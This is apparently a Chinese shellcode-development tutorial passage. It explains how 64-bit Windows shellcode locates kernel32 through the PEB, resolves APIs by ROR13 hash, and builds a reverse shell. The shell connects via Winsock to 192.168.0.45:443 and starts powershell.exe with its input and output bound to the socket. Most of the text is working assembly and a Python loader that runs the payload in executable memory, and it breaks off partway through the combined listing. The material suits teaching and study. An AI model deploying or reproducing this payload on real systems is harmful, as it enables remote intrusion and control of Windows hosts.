    "   int3                            ;"  #   Breakpoint for Windbg. REMOVE ME WHEN NOT DEBUGGING!!!!
............
)


ks = Ks(KS_ARCH_X86, KS_MODE_64)
encoding, count = ks.asm(CODE)
print("Encoded %d instructions..." % count)

sh = b""
for e in encoding:
    sh += struct.pack("B", e)
shellcode = bytearray(sh)

ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
print("Shellcode located at address %s" % hex(ptr))
input("...ENTER TO EXECUTE SHELLCODE...")

ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_uint64(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))

ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))

我们在代码部分最开始加入了 int 3 指令,这样当 Shellcode 被执行时,暂停在最开始的地方,方便我们调试编写的 Shellcode。在命令行中运行该 Python 脚本,脚本的运行会被 input 函数暂停。

image.png

打开 WinDBG,附加到 python.exe 进程

image.png

附加到 python.exe 进程上之后,让程序继续执行,回到脚本被执行的命令行,按下任意键,这样,我们就到了 Shellcode 的入口处。

image.png


通过 Syscall 调用的缺陷

我们在第 1 小节说过,syscall 提供从用户空间受保护内核的接口,该接口允许访问用于 I/O线程同步套接字管理等的底层操作系统功能。syscall 允许用户模式的应用程序直接访问内核,同时确保它们不会损害操作系统。一般来说,任何 Shellcode 的目的都是执行不属于原始应用程序代码逻辑的任意操作。为此,Shellcode 使用汇编指令,在漏洞利用 (exploit) 劫持应用程序的执行流后调用系统调用。

Windows NTAPI 相当于 UNIX 操作系统上的系统调用接口,通过 ntdll.dll 库向用户模式应用程序公开,但微软有意地没有提供 NTAPI 用法的官方文档。因此,它为用户模式应用提供了一种以受控方式调用位于内核中的操作系统函数的方法。在大多数 UNIX 操作系统上,系统调用接口都有详细的文档记录,并且通常可供用户应用程序使用。相比之下,由于 NT 架构的性质,NTAPI 隐藏在更高级别的 API 后面,例如 NtCreateFile 隐藏在 CreateFile 后面。内核级函数通常由用于调用相应函数的 SSN 来标识,但在 Windows 上,这些 SSN 可能随着系统更新而发生变化。但在 Linux 系统上,这些调用编号是固定的并且不会改变。我们还应该记住,Windows 上 syscall 接口导出的功能集合相当有限,这意味着我们需要避免直接 syscall 来为 Windows 编写通用且可靠的 Shellcode。

不使用 syscall 的情况下,我们与内核直接通信的唯一选项是使用 Windows API,它由核心 DLL 文件导出,在运行时映射到进程的内存空间。如果 DLL 尚未加载到进程空间中,我们需要先加载它们并找到对应的导出函数,找到这些函数之后,我们就可以将它们作为 Shellcode 的一部分来调用,以执行特定的任务。Kernel32.dll 文件导出了可用于完成这 2 项任务的函数,并且该 DLL 一般都会被映射到进程的内存中。需要注意的是,考虑到 ASLR 等内存保护措施,以及不同版本的操作系统之间的差异,我们需要避免使用硬编码函数地址,以确保我们的 Shellcode 的适用性。

Kernel32.dll 中的 LoadLibraryA 函数可用于实现 DLL 的加载,GetModuleHandleA 可用于获取已加载 DLL 的基址,GetProcAddress 可用于根据提供的函数名得到函数的地址。但我们首先要获得 LoadLibraryGetProcAddress 这 2 个函数的内存地址,也就是我们需要先找到 Kernel32.dll 的基址,然后从 Kernel32.dll 中获得这 2 个函数的地址。在这之后,我们就可以调用 LoadLibraryA 与 GetProcAddress 这 2 个函数获得任意 DLL 的基址与任意函数的地址。在此基础上,我们可以编写 Shellcode 实现例如逆向 Shell、正向 Shell、程序执行等目的了。


寻找 KERNEL32

因为我们并不会预先知道 LoadLibraryA 与 GetProcAddress 的地址,所以我们需要先定位到并解析加载到内存中的 Kernel32.dll。对于任何进程,Kernel32.dll 几乎是肯定会被加载的,因为它导出的函数对于大多数进程都是必须的。

为了找到 Kernel32 模块,在 TEB 0x60 处,访问到 PEB 的指针,对应的汇编代码如下:

mov rax, gs:[0x60]; # RAX为TEB中ProcessEnvironmentBlock成员的值,即PEB地址

image.png

在 PEB 的 0x18 处,访问到结构体 _PEB_LDR_DATA 的指针:

mov rsi,[rax+0x18]; # 在PEB中得到LDR成员的值,即_PEB_LDR_DATA结构体的地址

image.png

_PEB_LDR_DATA 结构体包含了所有模块的信息。访问该 _PEB_LDR_DATA 结构体,里面有多个成员,其中重要的是 3 个 双向链表 (头),分别是 InLoadOrderModuleListInMemoryOrderModuleList,和 InInitializationOrderModuleList

image.png

InLoadOrderModuleList 按加载顺序显示上一个和下一个模块,InMemoryOrderModuleList 按内存放置顺序显示,InInitializationOrderModuleList 按初始化顺序显示,因此获得任一链表的地址就足够了。

这 3 个双向链表都是 _LIST_ENTRY 类型的数据结构,每个条目都代表着单个载入的模块,每个条目有着 2 个成员 FlinkBlink,分别保存着下一个上一个条目的地址。

image.png

我们可以选择任意一个双向链表,这里的话,我们保存 InMemoryOrderModuleList 的地址。

mov rsi,[rsi + 0x20]; # RSI为_PEB_LDR_DATA结构体中InMemoryOrderModuleList成员的地址

image.png

InMemoryOrderModuleList 当前条目的 Flink 的值为下一个条目的地址,Blink 的值为上一个条目的地址。这些条目与各条目的成员数值的关系如下图所示:

image.png

我们还会发现,链表的当前条目是一个 _LDR_DATA_TABLE_ENTRY 结构体的指针。该结构体中 InMemoryOrderLinks 成员的偏移为 0x10。因此,当前条目的地址减去 0x10 字节便可访问到该结构体的基址:

image.png

LDR、3 条 _LIST_ENTRY 类型的链表、以及 _LDR_DATA_TABLE_ENTRY 结构体这 3 者之间的关系如下:

PEB
|
|---> _PEB_LDR_DATA
      |
      |---> InLoadOrderModuleList (_LIST_ENTRY)
      |     |
      |     |---> _LDR_DATA_TABLE_ENTRY (module 1)
      |     |---> _LDR_DATA_TABLE_ENTRY (module 2)
      |     |---> ...
      |
      |---> InMemoryOrderModuleList (_LIST_ENTRY)
      |     |
      |     |---> _LDR_DATA_TABLE_ENTRY (module 1)
      |     |---> _LDR_DATA_TABLE_ENTRY (module 2)
      |     |---> ...
      |
      |---> InInitializationOrderModuleList (_LIST_ENTRY)
            |
            |---> _LDR_DATA_TABLE_ENTRY (module 1)
            |---> _LDR_DATA_TABLE_ENTRY (module 2)
            |---> ...

此外,我们可以在 _LDR_DATA_TABLE_ENTRY 结构体的 0x30 0x58 处分别得到当前模块的基址名称

image.png

总之,不管是使用 3 条链表中的哪条 (本小节以 InMemoryOrderLinks 为例),当前条目对应着 1 个加载的模块,我们可以进而得到当前模块的基址和名称。在任一条目中,如果当前条目所对应的模块不是 Kernel32.dll,则通过 Flink 访问下一个模块

不过需要注意的是,BaseDllName_UNICODE_STRING 类型的成员,字符串起始位置位于 0x08 处。

image.png

回到汇编指令:

mov r9, [rsi + 0x20];  # R9 此时保存着当前模块的基址
mov rdi, [rsi + 0x50]; # RDI 保存着DllBaseName中的Buffer地址,即模块名称字符串的地址
mov rsi, [rsi]; # 获得下一个条目的地址

得到模块名称后,我们需要与 "KERNEL32.DLL" 对比,也就是一个字符串的比较。虽然在 Windows 文件系统中,是不区分大小写的,但字符串的比较是区分的。KERNEL32.DLL 被载入后的模块名可能为 KERNEL32,可能为 kernel32,甚至可能为 Kernel32。在不确定目标主机和进程中载入模块的名称大小写命名方案的情况下,我们可以设置自己的比较标准,例如字符串占用 24 字节 (共 12 个字符,因为是 Unicode 所以总计24 字节)、字符串整体完全比较等。但都有各自的弊端,如果比较长度,可能有其他的模块恰好也是12 个字符,如果比较整体字符串,大小写的排列组合比较难以预测。

因此,这里我给出个自己的比较标准:比较 "ernel32." 这个子字符串。虽然说我们不确定模块名称的大小写,但一般要么是 KERNEL32,要么是 Kernel32,要么是 kernel32。很少会出现 kERNel 这样的大小写无规律混合的情况。代码如下:

  add rdi, 2; # 跳过K字符
check_upper: # 如果"ERNEL32."是大写
  mov r12, 0x0045004E00520045; # Unicode字符串 "ENRE"
  mov r13, 0x002e00320033004c; # Unicode字符串 ".23L"
  mov rdx, qword ptr [rdi]; # 将字符串 "ERNEL32.DLL" 复制到RDX
  cmp rdx, r12; # 将前4个字符与"ENRE"比较
  jne check_lower; # 如果不相等,可能模块名为小写
  mov rdx, qword ptr [rdi + 8]; # 如果相等,继续比较,将".23L"复制到RDX
  cmp rdx, r13; # 将后4个字符与".23L"比较
  jne next_module; # 如果不相等,移动到下一个条目
  mov rax, r9; # 保存kernel32的基址
  ret;
check_lower: # 如果"ernel32."是小写
  mov r12, 0x0065006E00720065; # Unicode字符串 "enre"
  mov r13, 0x002e00320033006c; # Unicode字符串 ".23l"
  mov rdx, qword ptr [rdi];    
  cmp rdx, r12;    
  jne next_module; # 如果不相等,不会是大小写原因,直接进入下个条目
  mov rdx, qword ptr [rdi + 8];    
  cmp rdx, r13; 
  jne next_module; 
  mov rax, r9; 
  ret;

最终,我们能得到 KERNEL32.DLL 的基址。

image.png


定位所需 API

得到 KERNEL32.DLL 的基址后,我们就能利用之前所学的 PE 结构的知识来获得 LoadLibraryAGetProcAddress 函数的地址了。得到函数地址的方法有 2 种:函数序数以及函数名称。因为不同版本的相同 DLL 可能有所不同,因此导出函数列表也有所差异,硬编码函数序数是不够适用的,因此我们还是提供函数名称好了。这样的话,我们的步骤如下:

1:获得e_lfanew的值从而定位到NT头
2:获得导出目录的RVA以及VMA
3:获得函数名称的数量
4:遍历ENPT表获得函数名称的RVA以及函数名称字符串
5:在OT表中获得函数序数
6:在EAT表中获得函数RVA以及VMA

前 4 步对应的汇编指令如下:

parse_module: # 解析内存中的DLL文件
  mov ecx, dword ptr [r9 + 0x3c]; # R9保存着模块的基址,获取NT头偏移
  mov r15d, dword ptr [r9 + rcx + 0x88]; # 获取导出目录的RVA
  add r15, r9;    # R14保存着导出目录的VMA
  mov ecx, dword ptr [r15 + 0x18]; # ecx保存着函数名称的数量,作为索引值
  mov r14d, dword ptr [r15 + 0x20]; # 获得ENPT的RVA
  add r14, r9; # R14 保存着ENPT的VMA
search_function: # 搜索给定函数
  jrcxz not_found; # 如果RCX为0,那么没找到给定函数
  dec ecx; # 索引减少1
  xor rsi, rsi;
  mov esi, [r14 + rcx*4]; # 函数名称字符串的RVA
  add rsi, r9; # RSI 指向函数名称字符串

不过,相比使用函数名称,对比函数名称的哈希会更加方便。并且,哈希算法不需要十分复杂,即便可能存在哈希碰撞的问题也无妨,只要任意 2 个函数名的哈希值不同即可。

哈希函数名的 Python 脚本如下:

#!/usr/bin/python
import numpy, sys

def ror_str(byte, count):
    binb = numpy.base_repr(byte, 2).zfill(32)
    while count > 0:
        binb = binb[-1] + binb[0:-1]
        count -= 1
    return (int(binb, 2))
    
    
if __name__ == '__main__':
    try:
        rsi = sys.argv[1]
    except IndexError:
        print("Usage: %s INPUTSTRING" % sys.argv[0])
        sys.exit()
    # Initialize variables
    rdx = 0x00
    ror_count = 0
    for rax in rsi:
        rdx = rdx + ord(rax)
        if ror_count < len(rsi)-1:
            rdx = ror_str(rdx, 0xd)
        ror_count += 1
    print(hex(rdx))

image.png

对应的代码如下:

start:
  sub rsp, 0x20; # 函数序言
  call find_kernel32;
  add rsp, 0x20; # 函数尾声
  mov rbp, rax; # RBP保存Kernel32.dll基址
  mov r8d, 0xec0e4e8e; # LoadLibraryA哈希
  sub rsp, 0x20; # 函数序言
  call parse_module; # 搜索 LoadLibraryA函数并获得地址
  add rsp, 0x20; # 函数尾声
  mov r12, rax;
  mov r8d, 0x7c0dfcaa; # GetProcAddress哈希
  sub rsp, 0x20; # 函数序言
  call parse_module; # 搜索GetProcAddress函数并获得地址
  add rsp, 0x20; # 函数尾声
  mov r13, rax;    
............
function_hashing: # 哈希函数名函数
  xor rax, rax; 
  xor rdx, rdx;
  cld; # 清除DF标志位
iteration: # 迭代每个字节
  lodsb; # RSI的下一个字节拷贝给Al
  test al, al; # 如果到达字符串末尾
  jz compare_hash; # 比较哈希
  ror edx, 0x0d; # 哈希算法部分
  add edx, eax; # 哈希算法部分
  jmp iteration; # 下一个字节
compare_hash: # 比较哈希
  cmp edx, r8d;
  jnz search_function; # 如果不等,搜索前一个函数 (索引由大变小)
  mov r10d, [r15 + 0x24]; # 序数表RVA
  add r10, r9; # 序数表VMA
  movzx ecx, word ptr [r10 + 2*rcx]; # 函数序数值 -1
  mov r11d, [r15 + 0x1c]; # EAT的RVA
  add r11, r9; # EAT的VNA
  mov eax, [r11 + 4*rcx]; # RAX保存函数RVA
  add rax, r9; # RAX保存着函数VMA
  ret;
not_found:"
  ret;

成功得到函数的地址。

image.png


在下一小节,我们将讨论如何调用 API 并对最初的完整 Shellcode 进行优化。

Shellcode 编写 - 2

调用 API

为了能实现反向 Shell,我们需要 3 个来自 ws2_32.dll 中的 函数,分别是 WSAStartupWSASocketA,和 WSAConnect。以及来自 kernel32.dll 中的 CreateProcessA 函数。因为我们已经得到了 LoadLibraryA 的地址,因此获得 ws2_32.dll 的基址也很容易。

load_module:
   mov rax, 0x6c6c;   # 将字符串 "ll" 保存至RAX
   push rax;    # 字符串入栈
   mov rax, 0x642E32335F325357;     # 将字符串"WS2_32.D"保存至RAX
   push rax;    # 字符串入栈
   mov rcx, rsp;      # RCX指向"ws2_32.dll\0"字符串
   sub rsp, 0x20;     # 函数序言
   mov rax, r12;      # RAX为LoadLibraryA地址
   call rax;          # LoadLibraryA("ws2_32.dll")
   add rsp, 0x20;     # 函数尾声
   add rsp, 0x10;     # 清理 "ws2_32.dll"字符串所占用的栈空间
   mov r14, rax;      # R14保存了ws2_32.dll的基址

于是,我们获得了 ws2_32 模块的基址。

image.png

我们之前说过,Windows x64 fastcall 的调用分别将函数参数存储在 RCXRDXR8R9,以及栈空间 (如果多于 4 个参数)。尽管前 4 个参数存储于寄存器,但因为参数归位,我们至少需要为栈腾出 0x20 的空间。如果参数更多,那么也相应的增加。如果不是很自信需要腾出多大的空间,宁可多分配一些。

但是,请确保栈满足 16 字节对齐!也就是 RSP 的值一般是以 0 结尾。这里,RSP 是以 8 结尾,不满足 16 字节对齐,出现了这样的报错:

image.png

有的函数参数为结构较为复杂的结构体,我们需要在栈上为其腾出足够的空间,并将结构体的地址作为参数。

sub rsp, 0x200; # 给结构体参数腾出足够空间,不需要十分精确但需要足够大
lea rdx, [rsp]; # 获得结构体的地址作为第2个参数


WSAStartup

首先要调用的是 WSAStartup 函数用于初始化 Winsock DLL 的使用。WSAStartup 函数原型如下:

int WSAStartup(
        WORD      wVersionRequired, # 0x0202 == Version 2.2
  [out] LPWSADATA lpWSAData         # Pointer to where a WSADATA structure will be populated
);

我们需要传递 2 个参数,其中 wVersionRequired 值为 0x202,第 2 个参数 lpWSAData 为结构体类型指针,WSAStartup 调用结束后该参数会被填充,因此我们目前只要给其预留足够空间即可。

call_wsastartup:
   mov r9, rax; # R9保存了ws2_32.dll的基址
   mov r8d, 0x3bfcedcb; # WSAStartup的哈希
   mov rbx, r9; # 将ws2_32.dll的基址保存至RBX以备用
   call parse_module; #搜索并获得WSAStartup的函数地址
   xor rcx, rcx;
   mov cx, 0x198;    
   sub rsp, rcx; # 预留足够空间给lpWSDATA结构体   
   lea rdx, [rsp]; # 将lpWSAData地址赋予RDX寄存器作为第2个参数
   mov rcx, 0x202; # 将0x202赋予wVersionRequired并存入RCX寄存器作为第1个参数 
   sub rsp, 0x28; #函数序言
   call rax; # 调用WSAStartup
   add rsp, 0x28; # 函数尾声

函数返回值为 0,说明调用成功。

image.png



WSASocketA

接下来,我们需要调用 WSASocketA 函数来创建套接字。WSASocketA 函数原型如下:

SOCKET WSAAPI WSASocketA(
  [in] int                 af,              # RCX   (AF_INET == 2)
  [in] int                 type,            # RDX   (SOCK_STREAM == 1)
  [in] int                 protocol,        # R8    (IPPROTO_TCP == 6)
  [in] LPWSAPROTOCOL_INFOA lpProtocolInfo,  # R9    (NULL)
  [in] GROUP               g,               # Stack (NULL)
  [in] DWORD               dwFlags          # Stack (NULL)
);

共有 6 个参数,其中 af2type 1protocol 6,剩余参数皆为 0。因为有 6 个参数,第 5 个参数开始保存在栈上。函数的返回类型为 socket。

call_wsasocket:
   mov r9, rbx;  
   mov r8d, 0xadf509d9; # WSASocketA函数哈希
   call parse_module; # 获得WSASocketA函数地址
   sub rsp, 0x38; # 函数序言
   mov rcx, 2; # af为2作为第1个参数
   mov rdx, 1; # type为1作为第2个参数
   mov r8, 6; # protocol为6作为第3个参数
   xor r9, r9; # lpProtocolInfo为0作为第4个参数
   mov [rsp+0x20], r9; # g为0作为第5个参数,保存在栈上
   mov [rsp+0x28], r9; # dwFlags为0作为第6个参数,保存在栈上
   call rax; # 调用 WSASocketA函数
   mov r12, rax; # 将返回的socket类型返回值保存在R12以防止RAX中的数据丢失
   add rsp, 0x38; # 函数尾声

返回的描述符值为 0x230 (返回值可能有所不同),保存在 RAX 中。我们需要备份一下该返回值,因为后续会用到,而且 RAX 存储的值很容易被覆盖。

image.png


WSAConnect

接着,我们需要调用 WSAConnect 函数来建立两个套接字应用之间的连接。函数原型如下:

int WSAAPI WSAConnect(
  [in]  SOCKET         s,
  [in]  const sockaddr *name,
  [in]  int            namelen,
  [in]  LPWSABUF       lpCallerData,
  [out] LPWSABUF       lpCalleeData,
  [in]  LPQOS          lpSQOS,
  [in]  LPQOS          lpGQOS
);

该函数需要 7 个参数,其中第 1 个参数为 WSASocketA 的返回值,第 2 个参数为结构体 sockaddr 指针,第 3 个参数为 sockaddr 结构体的尺寸,应当为 0x16

其中,sockaddr 结构体如下:

typedef struct sockaddr_in {
#if ...
  short          sin_family;
#else
  ADDRESS_FAMILY sin_family;
#endif
  USHORT         sin_port;
  IN_ADDR        sin_addr;
  CHAR           sin_zero[8];
} SOCKADDR_IN, *PSOCKADDR_IN;

sin_family 值永远为 AF_INET,用整数表示为 2sin_port sin_addr 分别为端口 IP 地址sin_zero 设置为 0 即可。

 call_wsaconnect:
   mov r9, rbx;
   mov r8d, 0xb32dba0c; # WSAConnect哈希
   call parse_module; # 获得WSAConnect地址
   sub rsp, 0x20; # 为socketaddr结构体分配足够空间
   mov rcx, r12; # 将WSASocketA返回的描述符传递给RCX作为第1个参数
   mov rdx, 2; # sin_family成员设置为AF_INET,即2
   mov [rsp], rdx; # 存储socketaddr结构体
   mov rdx, 0xbb01; # 端口设置为443
   mov [rsp+2], rdx; # 将端口值传递给socketaddr结构体中的对应位置
   mov rdx, 0x2d00a8c0; # 设置IP为192.168.0.45
   mov [rsp+4], rdx; # 将IP传递给sockaddr结构体中的对应位置
   lea rdx, [rsp]; # 指向socketaddr结构体的指针作为第2个参数
   mov r8, 0x16; # 设置namelen成员为0x16
   xor r9, r9; # lpCallerData为0作为第4个参数
   sub rsp, 0x38; # 函数序言
   mov [rsp+0x20], r9; # lpCalleeData为0作为第5个参数
   mov [rsp+0x28], r9; # lpSQOS为0作为第6个参数
   mov [rsp+0x30], r9; # lpGQOS为0作为第7个参数
   call rax; # 调用WSAConnect
   add rsp, 0x38; # 函数尾声

调用函数前,查看 RDX 中存储的参数,也就是 sockaddr 结构体地址,各个成员赋值均有效。

image.png

函数返回 0,说明调用成功,并且我们的 netcat 监听器也收到了连接。

image.png


CreateProcessA

最后,我们需要使用 CreateProcessA 函数创建 cmd.exe powershell.exe 进程并且重定向输入输出至初始化的连接中。函数原型如下:

BOOL CreateProcessA(
  [in, optional]      LPCSTR                lpApplicationName,
  [in, out, optional] LPSTR                 lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCSTR                lpCurrentDirectory,
  [in]                LPSTARTUPINFOA        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);

共有 10 个参数,lpApplicationName 表示应用名称,lpCommandLine 为命令行参数,这 2 个参数不能都为空,这里我们设置 lpCommandLine 为 "powershell.exe"。bInheritHandles 值为 1

lpStartupInfo 为结构体类型指针,我们需要依次给各个结构体成员赋值并且将结构体的地址作为第 9 个参数。lpProcessInformation 也是结构体类型指针,但我们并不需要对该结构体成员赋值,而是在函数调用后被填充,因此我们只需要将其地址作为第 10 个参数。

我们先来看 STARTINFO 结构体,如下是微软文档中给出的结构信息:

typedef struct _STARTUPINFOA {
  DWORD  cb;
  LPSTR  lpReserved;
  LPSTR  lpDesktop;
  LPSTR  lpTitle;
  DWORD  dwX;
  DWORD  dwY;
  DWORD  dwXSize;
  DWORD  dwYSize;
  DWORD  dwXCountChars;
  DWORD  dwYCountChars;
  DWORD  dwFillAttribute;
  DWORD  dwFlags;
  WORD   wShowWindow;
  WORD   cbReserved2;
  LPBYTE lpReserved2;
  HANDLE hStdInput;
  HANDLE hStdOutput;
  HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;

但在内存中,成员的尺寸与微软文档中的有所不同:

0:004> dt combase!STARTUPINFOA
   +0x000 cb               : Uint4B
   +0x008 lpReserved       : Ptr64 Char
   +0x010 lpDesktop        : Ptr64 Char
   +0x018 lpTitle          : Ptr64 Char
   +0x020 dwX              : Uint4B
   +0x024 dwY              : Uint4B
   +0x028 dwXSize          : Uint4B
   +0x02c dwYSize          : Uint4B
   +0x030 dwXCountChars    : Uint4B
   +0x034 dwYCountChars    : Uint4B
   +0x038 dwFillAttribute  : Uint4B
   +0x03c dwFlags          : Uint4B
   +0x040 wShowWindow      : Uint2B
   +0x042 cbReserved2      : Uint2B
   +0x048 lpReserved2      : Ptr64 UChar
   +0x050 hStdInput        : Ptr64 Void
   +0x058 hStdOutput       : Ptr64 Void
   +0x060 hStdError        : Ptr64 Void

不过这并没有关系,我们需要指定的只有成员 cbdwFlags、以及最后 3 个成员,其他成员都被赋值 0,因此我们不需要在意其他成员的数据尺寸。cb 值为结构体尺寸,应当设置为 0x68dwFlags 这里设置为 0x100hStdInputhStdOutputhStdError 的值都为 WSASocketA 的返回值

   push r12; # 成员STDERROR值为WSASocketA返回值
   push r12; # 成员STDOUTPUT值为WSASocketA返回值
   push r12; # 成员STDINPUT值为WSASocketA返回值
   xor rdx, rdx;
   push dx; # 在入栈dwFlags成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可
   push rdx;
   push rdx;
   mov rdx, 0x100;     
   push dx;  # 成员dwFlags值为0x100  
   xor rdx, rdx;
   push dx; # 在入栈cb成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可  
   push dx;
   push rdx;
   push rdx;
   push rdx;
   push rdx;
   push rdx;
   push rdx;
   mov rdx, 0x68;
   push rdx; # 成员cb值为0x68
   mov rdi, rsp; # 获得STARTINFOA结构体的指针
   mov rdx, rsp;    
   sub rdx, 0x500; # 为ProcessInformation结构体预留足够空间
   push rdx; # ProcessInformation结构体的地址作为第10个参数
   push rdi; # STARTINFOA结构体的地址作为第9个参数

接下来,依次给 CreateProcessA 的第 1 至第 8 个参数赋值,最终调用 CreateProcessA 部分代码如下:

 call_createprocess:
   mov r9, rbp; # R9为Kernel32.dll基址
   mov r8d, 0x16b3fe72; # CreateProcessA哈希
   call parse_module; # 获取CreateProcessA地址
   mov rdx, 0x6578652e6c6c; # 字符串"exe.ll"
   push rdx;
   mov rdx, 0x6568737265776f70; # 字符串"ehsrewop"
   push rdx; # "powershell.exe"字符串入栈
   mov rcx, rsp; # 指向"powershell.exe"的指针保存在RCX寄存器中
   push r12; # 成员STDERROR值为WSASocketA返回值
   push r12; # 成员STDOUTPUT值为WSASocketA返回值
   push r12; # 成员STDINPUT值为WSASocketA返回值
   xor rdx, rdx;
   push dx; # 在入栈dwFlags成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可
   push rdx;
   push rdx;
   mov rdx, 0x100;     
   push dx;  # 成员dwFlags值为0x100  
   xor rdx, rdx;
   push dx; # 在入栈cb成员之前填充0,不必在乎成员具体数据尺寸,总尺寸准确即可  
   push dx;
   push rdx;
   push rdx;
   push rdx;
   push rdx;
   push rdx;
   push rdx;
   mov rdx, 0x68;
   push rdx; # 成员cb值为0x68
   mov rdi, rsp; # 获得STARTINFOA结构体的指针
   mov rdx, rsp;    
   sub rdx, 0x20; # 为ProcessInformation结构体预留足够空间
   push rdx; # ProcessInformation结构体的地址作为第10个参数
   push rdi; # STARTINFOA结构体的地址作为第9个参数
   xor rdx, rdx;
   push rdx; # lpCurrentDirectory值为0作为第8个参数
   push rdx; # lpEnvironment值为0作为第7个参数
   push rdx; # dwCreationFlags值为0作为第6个参数
   inc rdx;
   push rdx; # bInheritHandles值为1作为第5个参数
   xor rdx, rdx;
   push rdx; # 为函数归位区域(第4个参数)预留空间
   push rdx; # 为函数归位区域(第3个参数)预留空间
   push rdx; # 为函数归位区域(第2个参数)预留空间
   push rdx; # 为函数归位区域(第1个参数)预留空间
   mov rdx, rcx; # lpCommandLine值为"powershell.exe"字符串指针作为第2个参数
   xor rcx, rcx; # 因为lpCommandLine已经赋值,lpApplicationName可为空
   mov r8, rcx; # lpProcessAttributes值为0作为第3个参数
   mov r9, rcx; # lpThreatAttributes值为0作为第4个参数
   call rax;

参数赋值一切正常:

image.png

最终,我们成功获得了逆向 Shell:

image.png

那么,整合之前的代码,完整的初版 Shellcode 如下:

import ctypes, struct
from keystone import *



CODE = (
"start:"
"   sub rsp, 0x20;"       # 函数序言
"   call find_kernel32;" 
"   add rsp, 0x20;"     # 函数尾声
"   mov rbp, rax;"     # RBP保存Kernel32.dll基址
"   mov r8d, 0xec0e4e8e;"     # LoadLibraryA哈希
"   sub rsp, 0x20;"     # 函数序言
"   call parse_module;"     # 搜索 LoadLibraryA函数并获得地址
"   add rsp, 0x20;"     # 函数尾声
"   mov r12, rax;" 
"   mov r8d, 0x7c0dfcaa;"     # GetProcAddress哈希
"   sub rsp, 0x20;"     # 函数序言
"   call parse_module;"     # 搜索GetProcAddress函数并获得地址
"   add rsp, 0x20;"     # 函数尾声
"   mov r13, rax;" 
"   call load_module;"

"find_kernel32:"
"   xor rdx, rdx;"
"   mov rax, gs:[rdx+0x60];"     # RAX为TEB中ProcessEnvironmentBlock成员的值,即PEB地址
"   mov rsi,[rax+0x18];"     # 在PEB中得到LDR成员的值,即_PEB_LDR_DATA结构体的地址
"   mov rsi,[rsi + 0x20];"     # RSI为_PEB_LDR_DATA结构体中InMemoryOrderModuleList成员的地址

"next_module:"
"   mov r9, [rsi + 0x20];"      # R9 此时保存着当前模块的基址
"   mov rdi, [rsi + 0x50];"     # RDI 保存着DllBaseName中的Buffer地址,即模块名称字符串的地址
"   mov rsi, [rsi];"     # 获得下一个条目的地址
"   add rdi, 2;"     # 跳过K字符

"check_upper:"    # 如果"ERNEL32."是大写
"  mov r12, 0x0045004E00520045;"    # Unicode字符串 "ENRE"
"  mov r13, 0x002e00320033004c;"    # Unicode字符串 ".23L"
"  mov rdx, qword ptr [rdi];"    # 将字符串 "ERNEL32.DLL" 复制到RDX
"  cmp rdx, r12;"    # 将前4个字符与"ENRE"比较
"  jne check_lower;"    # 如果不相等,可能模块名为小写
"  mov rdx, qword ptr [rdi + 8];"    # 如果相等,继续比较,将".23L"复制到RDX
"  cmp rdx, r13;"    # 将后4个字符与".23L"比较
"  jne next_module;"    # 如果不相等,移动到下一个条目
"  mov rax, r9;"    # 保存kernel32的基址
"  ret;"

"check_lower:"    # 如果"ernel32."是小写
"  mov r12, 0x0065006E00720065;"    # Unicode字符串 "enre"
"  mov r13, 0x002e00320033006c;"    # Unicode字符串 ".23l"
"  mov rdx, qword ptr [rdi];"  
"  cmp rdx, r12;"   
"  jne next_module;"    # 如果不相等,不会是大小写原因,直接进入下个条目
"  mov rdx, qword ptr [rdi + 8];"  
"  cmp rdx, r13;"
"  jne next_module;"
"  mov rax, r9;"
"  ret;"


"parse_module:"    # 解析内存中的DLL文件
"   mov ecx, dword ptr [r9 + 0x3c];"     # R9保存着模块的基址,获取NT头偏移
"   mov r15d, dword ptr [r9 + rcx + 0x88];"     # 获取导出目录的RVA
"   add r15, r9;"     # R14保存着导出目录的VMA
"   mov ecx, dword ptr [r15 + 0x18];"     # ecx保存着函数名称的数量,作为索引值
"   mov r14d, dword ptr [r15 + 0x20];"     # 获得ENPT的RVA
"   add r14, r9;"     # R14 保存着ENPT的VMA

"search_function:"    # 搜索给定函数
"   jrcxz not_found;"     # 如果RCX为0,那么没找到给定函数
"   dec ecx;"     # 索引减少1
"   xor rsi, rsi;" 
"   mov esi, [r14 + rcx*4];"     # 函数名称字符串的RVA
"   add rsi, r9;"     # RSI 指向函数名称字符串

"function_hashing:"    # 哈希函数名函数
"   xor rax, rax;"  
"   xor rdx, rdx;" 
"   cld;"     # 清除DF标志位

"iteration:"    # 迭代每个字节
"   lodsb;"     # RSI的下一个字节拷贝给Al
"   test al, al;"     # 如果到达字符串末尾
"   jz compare_hash;"     # 比较哈希
"   ror edx, 0x0d;"     # 哈希算法部分
"   add edx, eax;"     # 哈希算法部分
"   jmp iteration;"     # 下一个字节

"compare_hash:"    # 比较哈希
"   cmp edx, r8d;" 
"   jnz search_function;"     # 如果不等,搜索前一个函数 (索引由大变小)
"   mov r10d, [r15 + 0x24];"     # 序数表RVA
"   add r10, r9;"     # 序数表VMA
"   movzx ecx, word ptr [r10 + 2*rcx];"     # 函数序数值 -1
"   mov r11d, [r15 + 0x1c];"     # EAT的RVA
"   add r11, r9;"     # EAT的VNA
"   mov eax, [r11 + 4*rcx];"     # RAX保存函数RVA
